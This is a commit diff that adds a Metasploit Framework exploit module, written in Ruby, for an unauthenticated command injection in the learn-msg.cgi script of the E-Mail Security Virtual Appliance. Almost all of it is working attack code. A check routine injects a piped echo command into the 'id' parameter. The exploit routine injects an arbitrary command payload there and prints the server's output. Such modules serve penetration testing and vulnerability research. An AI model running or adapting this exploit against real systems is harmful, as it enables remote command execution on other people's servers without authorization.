added module for ESVA Command Injection Vulnerability

Author: jvazquez-r7

modules/exploits/linux/http/esva_exec.rb

@@ -0,0 +1,95 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
+			'Description'    => %q{
+					This module exploits a command injection vulnerability found in E-Mail Security
+				Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
+				OS commands without authentication. This module has been successfully tested on the
+				ESVA_2057 appliance.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'iJoo', # Vulnerability Discovery and PoC
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'EDB', '20551' ]
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00\x0d\x0a\x26",
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+							'RequiredCmd' => 'generic perl python',
+						}
+				},
+			'Platform'       => ['unix'],
+			'Arch'           => ARCH_CMD,
+			'Targets'        =>
+				[
+					['ESVA_2057', {}],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Aug 16 2012",
+			'DefaultTarget'  => 0))
+	end
+
+
+	def check
+		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "/cgi-bin/learn-msg.cgi",
+			'vars_get' => {
+				'id' => "|echo #{clue};"
+			}
+		})
+
+		# If the server doesn't return the default redirection, probably something is wrong
+		if res and res.code == 200 and res.body =~ /#{clue}/
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		peer = "#{rhost}:#{rport}"
+
+		print_status("#{peer} - Sending Command injection")
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "/cgi-bin/learn-msg.cgi",
+			'vars_get' => {
+				'id' => "|#{payload.raw};"
+			}
+		})
+
+		# If the server doesn't return the default redirection, probably something is wrong
+		if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
+			print_error("#{peer} - Probably command not executed, aborting!")
+			return
+		end
+
+		print_good("#{peer} - Command executed successfully")
+		print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
+	end
+
+end